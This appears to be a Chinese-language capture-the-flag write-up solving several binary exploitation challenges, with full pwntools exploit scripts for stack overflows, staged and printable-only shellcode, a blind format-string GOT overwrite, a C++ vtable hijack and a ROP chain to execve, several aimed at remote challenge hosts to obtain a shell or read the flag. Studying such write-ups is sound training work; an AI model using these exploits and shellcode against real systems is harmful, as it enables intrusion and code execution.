stack
run
函数return
了strdup(buf)
,也就是将输入的内容直接返回了
char *run()
{
char buf[76]; // [rsp+0h] [rbp-50h] BYREF
size_t nbytes; // [rsp+4Ch] [rbp-4h]
printf("Give me the length: ");
LODWORD(nbytes) = get_int();
if ( (unsigned __int8)nbytes > 0x40u )
{
puts("Too long!");
exit(1);
}
printf("Give me your command: ");
read(0, buf, (unsigned int)nbytes);
return strdup(buf);
}
存在后门函数,但是不能直接控制程序流到这个程序,因为只有当输入内容是give me flag
才能执行system
,但是执行的内容却是give me flag
,所以直接控制程序到执行system
的地址,并且参数就是之前输入的内容,在输出的时候/bin/sh
后面需要用\x00
截断
int __fastcall backdoor(const char *a1)
{
if ( strncmp(a1, "give me flag", 0xCuLL) )
return puts("Nope!");
puts("You got!");
return system(a1);
}
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug') #32位arch=‘i386’
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('yuanshen.life', 33057)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
backdoor = 0x4011F4
r.sendlineafter(b'Give me the length: ', b'256')
p = b'/bin/sh\x00' + b'a' * 0x50 + p64(backdoor)
r.sendlineafter(b'Give me your command: ', p)
r.interactive()
Bug_Zapper
限制了读的长度小于等于0x10
,可以先写shellcode
执行read
再次读,改rdx
来读入更长的shellcode
,最后读入pwntools
直接生成的shellcode
来getshell
if ( (unsigned __int64)sys_read(0, (char *)0x1919810, 0x100uLL) <= 0x10 )
__asm { syscall; LINUX - sys_creat }
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug') #32位arch=‘i386’
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('node4.buuoj.cn', 26870)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
'''
mov esi, eax
xor eax, eax
xor edi, edi
mov edx, esi
syscall
'''
shellcode = b'\x89\xc6\x31\xc0\x31\xff\x89\xf2\x0f\x05'
r.sendlineafter(b'you', shellcode)
sleep(1)
p = b'\x90' * 0xa + asm(shellcraft.sh())
r.send(p)
r.interactive()
Easy_SI
盲打格式化字符串,先随便输出一段地址得到一些基本信息:
栈中必定存在一个地址是
__libc_start_main - 128
,已知libc
版本,将几个libc
地址都减去__libc_start_main + 128
,得到libc
地址几次输出的程序段地址都相同说明没有开
pie
最终思路大概就是改printf_got
为ogg
了,随便改几个地址会发现可写段从0x404000
开始,got
基本也就在这一段,从0x404000
向后0x8
的尝试,改为ogg
,最终确定printf_got
在0x404030
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug') #32位arch=‘i386’
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('yuanshen.life', 34046)
def dbg():
gdb.attach(r)
libc = ELF('./libc.so.6')
r.sendlineafter(b'the game!!!', b'%49$p')
r.recvuntil(b'0x')
libc_base = int(r.recv(12),16) - libc.sym['__libc_start_main'] - 128
system = libc.sym['system'] + libc_base
printf_got = 0x404030
p = fmtstr_payload(6,{printf_got:system})
r.sendline(p)
r.interactive()
overflow
检查保护,没有开pie
和canary
且可以溢出,且有backdoor
☁ bugzapper_pro_release checksec pwn
[*] '/home/starrysky/game2024/sictf_r3/bugzapper_pro_release/pwn'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
利用点就在std::string::operator
0x40130f mov rsi, qword ptr [rbp - 0x60]
0x401313 mov rdi, qword ptr [rbp - 0x58]
0x401317 call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::operator=(char const*)@plt <std::__cxx11::basic_str
ing<char, std::char_traits<char>, std::allocator<char> >::operator=(char const*)@plt>
rdi: 0x7ffedb22ccd8 —▸ 0x404018 (__stack_chk_fail@got.plt) —▸ 0x401066 (__stack_chk_fail@plt+6) ◂— push 3
rsi: 0x7ffedb22cc30 —▸ 0x4011d0 ◂— push rbp
rcx: 0x86c29a6f4f550100
输入之后将rbp - 0x60
里的值作为二参,rbp - 0x58
里的值作为一参,而rbp - 0x60
里的地址就是输入的起始地址,rbp - 0x58
里的地址也是可以通过溢出覆盖到的
pwndbg> x/20gx 0x7ffc18381560 - 0x60
0x7ffc18381500: 0x00007ffc18381510 0x00007ffc183815b8
0x7ffc18381510: 0x00000000004011d0 0x00000000004011d0
0x7ffc18381520: 0x00000000004011d0 0x00000000004011d0
0x7ffc18381530: 0x00000000004011d0 0x00000000004011d0
0x7ffc18381540: 0x00000000004011d0 0x00000000004011d0
0x7ffc18381550: 0x00000000004011d0 0x00000000004011d0
0x7ffc18381560: 0x6262626262626262 0x6262626262626262
0x7ffc18381570: 0x6262626262626262 0x6262626262626262
0x7ffc18381580: 0x6262626262626262 0x6262626262626262
0x7ffc18381590: 0x6262626262626262 0x6262626262626262
其中存在如下一条指令,此时的cl
就是rsi
,所以控制rdi
为stack_chk_got
、rsi
为backdoor
再覆盖掉canary
触发stack_chk_fail
执行backdoor
0x7ff7587a0812 <__memmove_avx_unaligned_erms+82> mov byte ptr [rdi], cl
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug') #32位arch=‘i386’
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('node4.buuoj.cn', 26870)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
backdoor = 0x4011D0
stack_chk_got = elf.got['__stack_chk_fail']
p = p64(backdoor)
p = p.ljust(0xa8, b'a') + p64(stack_chk_got)
r.sendline(p)
r.interactive()
Eeeeasy_Cpp
一个c++
程序,程序一开始会给出一个程序中的地址,存在两个堆,其中一个堆用来存储输入的name
和password
,其中password
可以向下溢出,而下面一个堆存储了用于输出的函数的vtable
地址和要输出的地址,控制这两个地址就可以控制调用show
时执行的函数和输出内容的地址(用于泄露)
C++
中的虚函数表(vtable
)是一种用于实现动态多态性的机制。它是在包含虚函数的类的对象中存储的一张表,用于存储该类的虚函数的地址。虚函数表使得在运行时可以通过指针或引用来访问实际派生类的虚函数。
本题的思路就是通过改vtable
位置的内容为一个存储backdoor
的地址,这里需要向堆中写入backdoor
地址,再将vtable
处地址改成写入了backdoor
的堆地址,所以还需要先泄露堆地址。
由于控制输出地址的那个位置就是一个堆地址,所以泄露堆地址可以直接改输出的地址的低位指向其本身,但是在泄露地址之后再次添加会向第二个堆输入,所以还需要再次add
复原输出的堆地址低位,这样再次输入就能正常向第一个堆输入了。
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug') #32位arch=‘i386’
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('node4.buuoj.cn', 26870)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def add(name, password):
r.sendlineafter(b'>> ', b'G')
r.sendlineafter(b'Enter your name: ', name)
r.sendlineafter(b'Enter your password:', password)
def show():
r.sendlineafter(b'>> ', b'P')
r.recvuntil(b'0x')
code_base = int(r.recv(12), 16) - 0x2650
backdoor = code_base + 0x22E0
vtable = code_base + 0x4D38
add('a' , b'\x00' * 0x18 + p64(0x21) + p64(vtable + 0x10) + b'\x48')
show()
r.recvuntil('Name: ')
heap_addr = u64(r.recv(6).ljust(8, b'\x00'))
add(b'\x10', b'a')
add(p64(backdoor), b'\x00' * 0x18 + p64(0x21) + p64(heap_addr - 0x40))
show()
r.interactive()
Bug_Zapper_Pro+
由于存在ptrace
,所以在长度为0xb
的时候能调试,在长度为0x10
的时候能执行但不能调试,题目限制了shellcode
的长度在0x10
之内并且是可见字符
if ( v3 <= 0x10 )
{
v4 = v3;
LOBYTE(v3) = v3 + 85;
__asm { syscall; LINUX - sys_creat }
if ( !v3 )
{
for ( i = 0LL; ; ++i )
{
v6 = (char *)(i + 0x114514FE0LL);
if ( i >= v4 )
break;
if ( *v6 < 0x20 || *v6 >= 0x7E )
goto end;
}
MEMORY[0x114514FE0](0LL, 0LL, 0LL, 0LL, 0LL, 0LL);
}
}
思路还是先写shellcode
再次执行read
,程序中跳转后的起始地址在0x114514FE0
,但是rwx
段到0x114515000
结束,中间长度不够,所以再次读的时候还要向上转移
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x400000 0x401000 r--p 1000 0 /home/starrysky/game2024/sictf_r3/bugzapper_pro_release/pwn
0x401000 0x402000 r-xp 1000 1000 /home/starrysky/game2024/sictf_r3/bugzapper_pro_release/pwn
0x402000 0x403000 rw-p 1000 2000 /home/starrysky/game2024/sictf_r3/bugzapper_pro_release/pwn
0x114514000 0x114515000 rwxp 1000 0 [anon_114514]
0x7ffff7ff9000 0x7ffff7ffd000 r--p 4000 0 [vvar]
0x7ffff7ffd000 0x7ffff7fff000 r-xp 2000 0 [vdso]
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
可见字符最大的问题就是不能写入syscall
,所以可以通过先向需要执行syscall
的地方向写入可见字符再和某个位置异或间接的得到syscall
,异或需要用到rax + address
,而shellcode
每一位都要大于0x20
,所以先rax
减去一部分,减去的这个值需要满足:低两位与syscall
异或的值是可见字符、其本身也是可见字符,最终我选择了- 0x67
,最终rax
的低位是0x4f79
,与syscall
异或之后>>> hex(0x4f79 ^ 0x050f) = 0x4a76
,所以在shellcode
末尾写0x4a76
,异或后即可得到syscall
其中读入的地址我选择了rax - 0x67
,这样可以读入的长度会更长一些,再次读入的shellcode
需要控制第一次读入的地址的下一个命令jmp rsi
,最后执行orw
from pwn import *
context(arch='amd64', os='linux', log_level='debug') #32位arch=‘i386’
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('node4.buuoj.cn', 26870)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
shellcode = asm('''
sub al, 0x67
push rax
pop rsi
xor word ptr [rax + 0x72], ax
pop rdx
push rbx
pop rax
.word 0x4a76
''')
shellcode = shellcode.ljust(0x10, b'\x20')
r.sendafter('Welcome', shellcode)
shellcode = asm('''
mov rax,0x67616c66
push rax
mov rdi,rsp
mov rsi,0
mov rdx,0
mov rax,2
syscall
mov rdi,rax
mov rsi,rsp
mov rdx,1024
mov rax,0
syscall
mov rdi,1
mov rsi,rsp
mov rdx,rax
mov rax,1
syscall
mov rdi,0
mov rax,60
syscall
''')
shellcode = shellcode.ljust(0x74, b'\x90')
shellcode += asm('''jmp rsi''')
sleep(1)
r.send(shellcode)
r.interactive()
TalkBoom
rust
写的程序,没开canary
和pie
talk checksec pwn
[*] '/home/starrysky/game2024/sictf_r3/talk/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
会将输入的字符串和很多字符串进行比较
.text:000000000040504D 48 8D 35 AC 31 04 00 lea rsi, unk_448200 ; s2
.text:0000000000405054 BA 40 00 00 00 mov edx, 40h ; '@' ; n
.text:0000000000405059 4C 89 F7 mov rdi, r14 ; s1
.text:000000000040505C FF 15 5E AC 05 00 call cs:bcmp_ptr
.text:000000000040505C
.text:0000000000405062 85 C0 test eax, eax
.text:0000000000405064 0F 84 E0 04 00 00 jz loc_40554A
.text:0000000000405064
.text:000000000040506A 48 8D 35 CF 31 04 00 lea rsi, unk_448240 ; s2
.text:0000000000405071 BA 40 00 00 00 mov edx, 40h ; '@' ; n
.text:0000000000405076 4C 89 F7 mov rdi, r14 ; s1
.text:0000000000405079 FF 15 41 AC 05 00 call cs:bcmp_ptr
.text:0000000000405079
.text:000000000040507F 85 C0 test eax, eax
.text:0000000000405081 0F 84 FE 04 00 00 jz loc_405585
.text:0000000000405081
...
比较之后跳转,跳转之后有一个mov edi
,在mov edi, 100h
的那个分值会跳转到一个存在栈溢出的read
.text:0000000000405585 48 8D 05 FC 79 05 00 lea rax, off_45CF88
.text:000000000040558C 48 89 04 24 mov [rsp+68h+s1], rax ; args
.text:0000000000405590 48 C7 44 24 08 01 00 00 00 mov [rsp+68h+size], 1
.text:0000000000405599 48 8D 05 28 32 04 00 lea rax, unk_4487C8
.text:00000000004055A0 48 89 44 24 10 mov [rsp+68h+size+8], rax
.text:00000000004055A5 0F 57 C0 xorps xmm0, xmm0
.text:00000000004055A8 0F 11 44 24 18 movups [rsp+68h+var_50], xmm0
.text:00000000004055AD 48 89 E7 mov rdi, rsp
.text:00000000004055B0 FF 15 4A A6 05 00 call cs:_ZN3std2io5stdio6_print17h8c9d4123cf4200e3E_ptr ; std::io::stdio::_print::h8c9d4123cf4200e3
.text:00000000004055B0
.text:00000000004055B6
.text:00000000004055B6 loc_4055B6: ; CODE XREF: SphinxBomb::main::hb23b3d8accd9981a+81C↓j
.text:00000000004055B6 BF 17 00 00 00 mov edi, 17h
.text:00000000004055BB E9 A4 00 00 00 jmp loc_405664
.text:00000000004055BB
.text:00000000004055C0 ; ---------------------------------------------------------------------------
.text:00000000004055C0
.text:00000000004055C0 loc_4055C0: ; CODE XREF: SphinxBomb::main::hb23b3d8accd9981a+1FE↑j
.text:00000000004055C0 48 8D 05 B1 79 05 00 lea rax, off_45CF78
.text:00000000004055C7 48 89 04 24 mov [rsp+68h+s1], rax ; args
.text:00000000004055CB 48 C7 44 24 08 01 00 00 00 mov [rsp+68h+size], 1
.text:00000000004055D4 48 8D 05 ED 31 04 00 lea rax, unk_4487C8
.text:00000000004055DB 48 89 44 24 10 mov [rsp+68h+size+8], rax
.text:00000000004055E0 0F 57 C0 xorps xmm0, xmm0
.text:00000000004055E3 0F 11 44 24 18 movups [rsp+68h+var_50], xmm0
.text:00000000004055E8 48 89 E7 mov rdi, rsp
.text:00000000004055EB FF 15 0F A6 05 00 call cs:_ZN3std2io5stdio6_print17h8c9d4123cf4200e3E_ptr ; std::io::stdio::_print::h8c9d4123cf4200e3
.text:00000000004055EB
.text:00000000004055F1 BF 2E 00 00 00 mov edi, 2Eh ; '.'
.text:00000000004055F6 EB 6C jmp short loc_405664
.text:00000000004055F6
.text:00000000004055F8 ; ---------------------------------------------------------------------------
.text:00000000004055F8
...
ssize_t __fastcall SphinxBomb::bomb_counter::h2ef55620c9869ad5(size_t nbytes)
{
__int128 v2[3]; // [rsp+0h] [rbp-38h] BYREF
memset(v2, 0, sizeof(v2));
return read(0, v2, nbytes);
}
直接连接远程得到程序的base64
解码得到的字符串,每次比较的字符串和mov edi, 100h
这个位置是不一样的,但是字符串的位置是一样的,本题的思路就是接收程序,利用pwntools
直接获取一个固定地址的字符串,一共有30个分支,直接死循环直到执行成功
exp
from pwn import *
import angr
context(arch='amd64', os='linux', log_level='debug') #32位arch=‘i386’
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
def dbg():
gdb.attach(r)
def pwn():
r.recvuntil('This is your Bomb: \n')
r.recvuntil("b'")
a = r.recvline(keepends=False)
decoded = base64.b64decode(a)
with open("poc3.gz", "wb") as f:
f.write(decoded)
li('[+] Download')
os.system('gzip -d poc3.gz && chmod +x poc3')
li(b'ok')
binary_path = './poc3'
target_address = 0x448740
elf = ELF(binary_path)
value = elf.read(target_address, 63)
li(value)
os.system('rm poc3')
r.sendlineafter(b'Welcome', value)
pop_rdi_ret = 0x0000000000402359
pop_rsi_ret = 0x00000000004042bc
pop_rcx_ret = 0x402b38
mov_rdx_rcx_rbx_ret = 0x4461d4
p1 = b'a' * 0x38 + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(0x4603e8 + 0x50) + p64(0x404e8d) + p64(0) * 7 + p64(pop_rdi_ret) + p64(59) + p64(pop_rsi_ret) + p64(0x4603e8 + 0x50) + p64(pop_rcx_ret) + p64(0) + p64(mov_rdx_rcx_rbx_ret) + p64(0) + p64(0x402a7c)
r.send(p1)
r.send(b'/bin/sh\x00')
r.sendline('cat /flag')
while(1):
try:
r = remote('112.124.59.213', 10001)
pwn()
except EOFError:
continue
else:
r.interactive()